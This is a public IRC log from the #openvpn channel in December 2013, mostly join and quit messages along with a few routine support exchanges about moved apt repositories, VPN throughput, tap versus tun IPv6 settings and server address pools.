14:53 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
14:57 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:58 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has joined #openvpn
15:01 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
15:06 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
15:06 -!- Devastator [~devas@186.214.111.67] has quit [Changing host]
15:06 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
15:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
15:08 -!- GrecKo_ is now known as GrecKo
15:19 -!- u0m3 [~u0m3@109.96.145.78] has joined #openvpn
15:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:23 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has joined #openvpn
15:26 -!- loa [~nyaaa@188.233.134.248] has quit [Remote host closed the connection]
15:32 -!- star314 [~star314@78.142.105.170] has joined #openvpn
15:49 -!- u0m3 [~u0m3@109.96.145.78] has quit [Read error: Connection reset by peer]
15:55 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has quit [Ping timeout: 246 seconds]
16:07 -!- mchou [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
16:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
16:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:14 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:14 -!- dazo_afk is now known as dazo
16:18 -!- reiffert [~thomas@mail.reifferscheid.org] has quit [Ping timeout: 245 seconds]
16:23 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
16:23 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn
16:26 -!- Probeus [probeus@probeus.no] has quit [Remote host closed the connection]
16:38 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 245 seconds]
16:39 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has joined #openvpn
16:39 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has quit [Changing host]
16:39 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
16:49 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
16:53 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has joined #openvpn
17:10 -!- joshu_ [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
17:12 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: Operation timed out]
17:12 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 248 seconds]
17:14 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
17:14 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
17:14 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:21 -!- star314 [~star314@78.142.105.170] has quit [Quit: Leaving]
17:22 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has left #openvpn []
17:25 -!- zxd [~zxd@87.69.188.64] has joined #openvpn
17:26 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 272 seconds]
17:28 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
17:29 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has quit [Ping timeout: 245 seconds]
17:30 -!- zxd [~zxd@87.69.188.64] has quit [Ping timeout: 272 seconds]
18:17 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
18:19 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
18:40 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 272 seconds]
18:40 -!- kro[au] [~thatguy@kgovps.net] has quit [Excess Flood]
18:40 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:41 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
18:41 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
18:44 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 265 seconds]
18:59 -!- joshh20_ is now known as joshh20
19:00 -!- pagioss [pagioss@gateway/shell/bnc4free/x-eaevyaratdpddriw] has quit [Excess Flood]
19:01 -!- master_o1_master [~master_of@p4FF24E91.dip0.t-ipconnect.de] has joined #openvpn
19:01 -!- pagioss [pagioss@gateway/shell/bnc4free/x-dtihrttqfkinmcaq] has joined #openvpn
19:04 -!- master_of_master [~master_of@p4FF24725.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
19:19 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
19:23 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
19:23 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
19:25 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
19:28 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
19:38 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 252 seconds]
19:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
20:01 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-ctjrlfxrlajpqpvx] has quit []
20:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:01 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zghdfmqyoavpdjpl] has joined #openvpn
20:05 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zghdfmqyoavpdjpl] has quit [Client Quit]
20:06 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-dihouffwyokanuat] has joined #openvpn
20:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
20:45 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:59 -!- xrosnight [~quassel@120.236.123.130] has quit [Changing host]
20:59 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
21:05 -!- elfixit [~Icedove@192-226.197-178.cust.bluewin.ch] has joined #openvpn
21:10 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
21:11 -!- elfixit [~Icedove@192-226.197-178.cust.bluewin.ch] has quit [Ping timeout: 252 seconds]
21:29 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:29 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
21:31 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:31 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
21:32 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:32 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
21:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
21:39 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:39 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
21:41 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:41 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
21:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:51 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:53 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
21:54 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
22:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
22:30 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
22:31 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 248 seconds]
22:35 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
22:36 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 245 seconds]
22:41 -!- Devastator [~devas@186.214.111.67] has quit [Changing host]
22:41 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:45 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
22:48 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-tgtlnkqakjsskyra] has joined #openvpn
22:48 < mjkr> what's openvpn.com's hosting provider?
22:50 < pekster> Nothing to do with the OpenVPN project
22:50 < pekster> "Registrant Organization: MARCHEX SALES LLC -THIS DOMAIN MAY BE FOR SALE-" according to whois
22:51 < pekster> GPL OpenVPN info at !howto and !download if you're hunting for links
22:56 < mjkr> oh, thanks.
22:56 < mjkr> uhm, that's an advertising company
22:57 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
22:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
22:58 -!- fiddlediddle [~tittyspri@cpe-24-210-169-14.woh.res.rr.com] has joined #openvpn
22:59 < fiddlediddle> when will the repos be fixed?
23:00 < fiddlediddle> they have been giving me 404 not found for a long time
23:01 < pekster> http://sourceforge.net/mailarchive/message.php?msg_id=31602164
23:01 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net)
23:06 < fiddlediddle> pekster: ive already been doing that for a long time
23:06 < fiddlediddle> Ign http://swupdate.openvpn.net wheezy/main Translation-en_US
23:06 < fiddlediddle> Ign http://swupdate.openvpn.net wheezy/main Translation-en
23:06 < fiddlediddle> W: Failed to fetch http://swupdate.openvpn.net/repos/apt/wheezy-snapshots/dists/wheezy/main/binary-amd64/Packages 404 Not Found
23:06 < fiddlediddle> E: Some index files failed to download. They have been ignored, or old ones used instead.
23:07 < pekster> Define "long time"
23:07 < pekster> Nov 05, 2013?
23:07 < pekster> If so, you didn't read the URL I linked very well
23:07 < pekster> "Unfortunately a clean migration path from old repos.openvpn.net repos
23:07 < pekster> was not possible due to an entirely different repository directory
23:07 < pekster> structure, so existing sources.list.d fragments needs to be edited, if
23:07 < pekster> you want to keep up with the latest OpenVPN releases."
23:07 < pekster> (ug, multiple line paste.) Anyway, the repos changed as stated in that mailing list email that I linked quite intentionally
23:09 < fiddlediddle> i'm not exactly certain what you are telling me pekster
23:09 < pekster> Shit changed, so you need to re-add it
23:09 < fiddlediddle> what should i be doing differently
23:09 < pekster> "A clean migration path .. was not possible"
23:09 < fiddlediddle> i did
23:11 < pekster> Then yes, apparently things might not be working if you're using that information
23:11 < fiddlediddle> nvm
23:11 < fiddlediddle> typo
23:11 < pekster> I'd reply to the ML thread if you're having issues with the exact commands you're using and the distro-output
23:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:11 < pekster> k
23:11 < fiddlediddle> i apologize
23:12 < fiddlediddle> good night
23:12 -!- fiddlediddle [~tittyspri@cpe-24-210-169-14.woh.res.rr.com] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
23:25 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-tgtlnkqakjsskyra] has quit [Remote host closed the connection]
23:27 -!- zxd [~zxd@87.69.188.64] has joined #openvpn
23:32 -!- zxd [~zxd@87.69.188.64] has quit [Ping timeout: 264 seconds]
23:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:41 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
--- Day changed Mon Dec 30 2013
00:16 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
00:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:39 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
00:42 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds]
00:44 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 240 seconds]
00:46 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:49 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
00:49 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
00:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 265 seconds]
00:52 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 240 seconds]
00:55 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:56 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
01:01 -!- dandy [~dandy@2a01:360:106::2] has quit [Quit: ZNC - http://znc.in]
01:02 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
01:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:10 -!- xrosnight [~quassel@183.234.77.221] has quit [Remote host closed the connection]
01:15 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 252 seconds]
01:20 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
01:25 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 265 seconds]
01:41 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
01:44 -!- Varazir_ [~mircwars@c-94-255-130-121.cust.bredband2.com] has quit [Quit: time to reboot and hop it's updated this time]
01:45 -!- mchou [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has joined #openvpn
01:48 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
01:48 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has quit [Client Quit]
01:53 -!- Zarrsh [~Zarrsh@farari.paydayauto.biz] has joined #openvpn
02:03 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 245 seconds]
02:05 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
02:07 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
02:11 -!- zxd [~zxd@87.69.188.64] has joined #openvpn
02:14 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:17 -!- Guest71069 [~Mark@94-193-78-219.zone7.bethere.co.uk] has left #openvpn []
02:20 -!- lowkey [lowkey@hydra-bom.aufbix.org] has quit [Disconnected by services]
02:22 -!- lowk3y [lowkey@hydra-bom.aufbix.org] has joined #openvpn
02:45 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
02:54 -!- Denial [Denial@2.217.201.230] has joined #openvpn
02:55 -!- zxd [~zxd@87.69.188.64] has quit [Ping timeout: 240 seconds]
02:56 -!- zxd [~zxd@87.69.188.64] has joined #openvpn
03:00 -!- master_o1_master [~master_of@p4FF24E91.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
03:01 -!- master_of_master [~master_of@p4FF24E91.dip0.t-ipconnect.de] has joined #openvpn
03:04 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
03:22 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
03:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:41 -!- zxd [~zxd@87.69.188.64] has quit [Ping timeout: 264 seconds]
04:43 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
04:46 -!- zxd [~zxd@87.69.188.64] has joined #openvpn
04:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:09 -!- fsf-free [~op_yourse@gateway/tor-sasl/opyourself/x-48337964] has joined #openvpn
05:09 < fsf-free> hi
05:12 < fsf-free> hi
05:12 -!- fsf-free [~op_yourse@gateway/tor-sasl/opyourself/x-48337964] has left #openvpn ["Leaving"]
05:15 -!- kaitrek [~kaitrek@unaffiliated/kaitrek] has quit [Ping timeout: 272 seconds]
05:43 -!- sitaktif [~sitaktif@kollok.org] has quit [Quit: The Screen is dead, long live the screen!]
05:44 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
05:58 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has joined #openvpn
06:02 -!- mrtnt_ [~martint@martint.data.ee] has joined #openvpn
06:03 -!- eject_ck [~es@62.205.157.98] has joined #openvpn
06:04 < eject_ck> Hi all
06:04 -!- zxd [~zxd@87.69.188.64] has left #openvpn []
06:05 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
06:05 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:05 -!- hazard0us [~hz@openvpn/user/hazardous] has joined #openvpn
06:05 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
06:05 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
06:05 -!- mode/#openvpn [+v hazard0us] by ChanServ
06:05 -!- cyberspace_ [20253@ninthfloor.org] has joined #openvpn
06:05 -!- Bretos1 [~Bretos@vps.tyborek.pl] has joined #openvpn
06:05 -!- Aelius_ [~link@ool-457697f3.dyn.optonline.net] has joined #openvpn
06:05 -!- Aelius_ [~link@ool-457697f3.dyn.optonline.net] has quit [Changing host]
06:05 -!- Aelius_ [~link@unaffiliated/aelius] has joined #openvpn
06:05 -!- cyberspace_ is now known as cyberspace-
06:06 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has quit [Ping timeout: 272 seconds]
06:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds]
06:06 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 272 seconds]
06:06 -!- kossy [a@kossy.org] has quit [Ping timeout: 272 seconds]
06:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 272 seconds]
06:06 -!- mrtnt [~martint@martint.data.ee] has quit [Ping timeout: 272 seconds]
06:06 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Ping timeout: 272 seconds]
06:06 -!- Aelius [~link@unaffiliated/aelius] has quit [Ping timeout: 272 seconds]
06:06 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 272 seconds]
06:06 -!- COm_BOY [~IceChat77@82.178.126.186] has joined #openvpn
06:06 -!- hazard0us is now known as hazardous
06:07 < eject_ck> I have ~ 40ms latency between openvpn server and openvpn client. Using proto udp. Getting ~ 1Mbps in/out between server and client on 1Gb uplinks (both in and out are 1Gbit). With iperf I'm getting ~ 800Mbps in/out between host and server (no VPN). Why my connection over openvpn is so slow ?
06:07 -!- kossy [a@kossy.org] has joined #openvpn
06:07 -!- COm_BOY [~IceChat77@82.178.126.186] has quit [Changing host]
06:07 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has joined #openvpn
06:07 < COm_BOY> @eject_ck
06:07 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
06:08 < COm_BOY> your monitor must be slow , you are actually getting the real internet speed but since the monitor is slow it is showing slowly slowly
06:08 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
06:09 <@krzee> !gigabit
06:09 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
06:10 <@krzee> eject_ck, ^
06:14 -!- PackardBell [~Cor@eternalproject.org] has quit [Ping timeout: 240 seconds]
06:14 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
06:19 -!- MorgyN_ is now known as MorgyN
06:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
06:24 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 264 seconds]
06:26 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
06:29 -!- noecc [~irc@unaffiliated/noecc] has joined #openvpn
06:36 -!- schiesupport [~schiesupp@217.68.49.85] has joined #openvpn
06:37 < schiesupport> !welcome
06:37 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
06:37 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:37 < schiesupport> !route
06:37 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
06:37 <@vpnHelper> client
06:38 < schiesupport> !tcpip
06:38 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
06:40 < schiesupport> hmm just a quick question in between (ill happily go trough all the ! options of the bot) . I have openvpn running between linux server / windows 7 client no issues. if i reboot to unix and then use that same config it does connect but it does not allow me to even ping the gateway for that matter. even thou i dont get any errors that show up. I assume i need to look at my linux client (and diagnose why its not working there) or is it due to me havi
06:40 < schiesupport> ng the same .ovpn config as in windows?
06:40 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
06:53 -!- mode/#openvpn [+o mattock] by ChanServ
07:00 -!- esde [~esde@107.150.1.2] has quit [Max SendQ exceeded]
07:00 -!- esde [~esde@107.150.1.2] has joined #openvpn
07:01 -!- esde [~esde@107.150.1.2] has quit [Changing host]
07:01 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
07:03 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
07:23 -!- schiesupport [~schiesupp@217.68.49.85] has quit [Quit: Leaving]
07:32 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has quit [Quit: Now if you will excuse me, I have a giant ball of oil to throw out my window]
07:36 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
07:43 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Read error: Connection reset by peer]
07:49 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:49 -!- mchou [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
08:02 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
08:02 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
08:07 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
08:11 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 252 seconds]
08:14 -!- takamichi [~takamichi@85.12.8.107] has joined #openvpn
08:44 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:44 -!- takamichi [~takamichi@85.12.8.107] has quit [Read error: Operation timed out]
08:44 -!- Netsplit *.net <-> *.split quits: Cy-Gor, HectorBarbossa, jacob11, @dazo, Haseo
08:45 -!- Netsplit over, joins: Cy-Gor
08:48 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
08:50 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-dihouffwyokanuat] has joined #openvpn
08:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:50 -!- jacob11 [uid22180@gateway/web/irccloud.com/x-kwyxiifgmaodkpwi] has joined #openvpn
08:50 -!- Haseo [~Haseo@2001:41d0:2:c0f::1] has joined #openvpn
08:50 -!- ServerMode/#openvpn [+o dazo] by holmes.freenode.net
08:53 -!- noecc [~irc@unaffiliated/noecc] has left #openvpn ["pax"]
09:11 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
09:14 -!- Protected [~Join@b.myshelter.net] has joined #openvpn
09:15 < Protected> Hello. Can anyone tell me what --tun-ipv6 does in terms of lower level settings or point out to me where I can find out? Thanks.
09:16 < pekster_> Protected: That option enables openvpn to transport IPv6 over the link
09:17 < pekster_> You still need to tell openvpn what addressing options you're using (just like making IPv4 work) but that option is required, otherwise IPv4-only transport across the tunnel is assumed
09:18 < Protected> Well, I'd like to use ipv6 with the tap device, and was wondering if I needed to use anything in place of --tun-ipv6 in my case
09:18 < Protected> The tutorials I'm finding all explain with tun
09:19 -!- elfixit [~Icedove@151.217.248.42] has joined #openvpn
09:20 < pekster_> That option is tun-specific, as the manpage explains
09:20 -!- pekster_ is now known as pekster
09:21 < Protected> That's right
09:22 < Protected> So I don't need to replace it with anything equivalent; Good
09:23 < pekster> tap transports Ethernet frames, so any high-level protocols aren't something openvpn worries about
09:25 < pekster> That's also what makes it a bit less secure in a bridged setup since the remote end has full L2 connectivity
09:27 -!- tumbl3r [~tumbl3r@66-188-139-58.static.mdsn.wi.charter.com] has quit [Quit: Leaving]
09:32 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
09:32 < wallbroken_u_z> good afternoon
09:33 < wallbroken_u_z> i'ts important to expand --server directive to excude already used ip's used in static addressing from ip pool ?
09:34 < pekster> Yes it is, otherwise the pool could hand out that IP to a different client and you have a conflict
09:35 -!- mchou [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has joined #openvpn
09:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:40 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:42 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:45 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 245 seconds]
09:45 -!- liriel [~liriel@198.154.114.106] has quit [Quit: bye]
09:47 -!- takamichi [~takamichi@85.12.8.104] has joined #openvpn
09:49 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 252 seconds]
09:52 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
09:56 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
09:57 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:59 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 240 seconds]
10:00 -!- digilink [~digilink@irc.stephennet.net] has joined #openvpn
10:08 <@krzee> omfg are you still trying to figure out --server?
10:09 < pekster> krzee: FYI, we have a new factoid that might help folks who don't understand the importance of expansion, the pool, and !static stuff here:
10:09 < pekster> !addressing
10:09 <@vpnHelper> "addressing" is For information about IP addressing in OpenVPN, see: https://community.openvpn.net/openvpn/wiki/Concepts-Addressing
10:10 <@krzee> nice
10:10 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
10:10 <@krzee> thx
10:10 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Max SendQ exceeded]
10:10 < pekster> It seemed to come up a lot, and I got sick of typing it ;)
10:10 < pekster> "Proactive lazyness" -- the art of doing extra work now to be lazy later :D
10:10 <@krzee> from multiple people or the same person over and over?
10:10 <@krzee> hahah
10:11 < pekster> Both :P
10:11 <@krzee> :D
10:11 <@krzee> ^^ i say that all the time at work
10:11 <@krzee> ild rather spend a week scripting something than do a list of things once per week
10:12 <@krzee> when i got here there was a ton of repitition, now theres a ton of me sitting around and taking days/months off
10:12 < pekster> Well, don't forget to consult the xkcd time/cost chart: http://xkcd.com/1205/
10:12 <@vpnHelper> Title: xkcd: Is It Worth the Time? (at xkcd.com)
10:13 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
10:14 <@krzee> headed to asia soon :D
10:15 -!- pagioss is now known as pagios
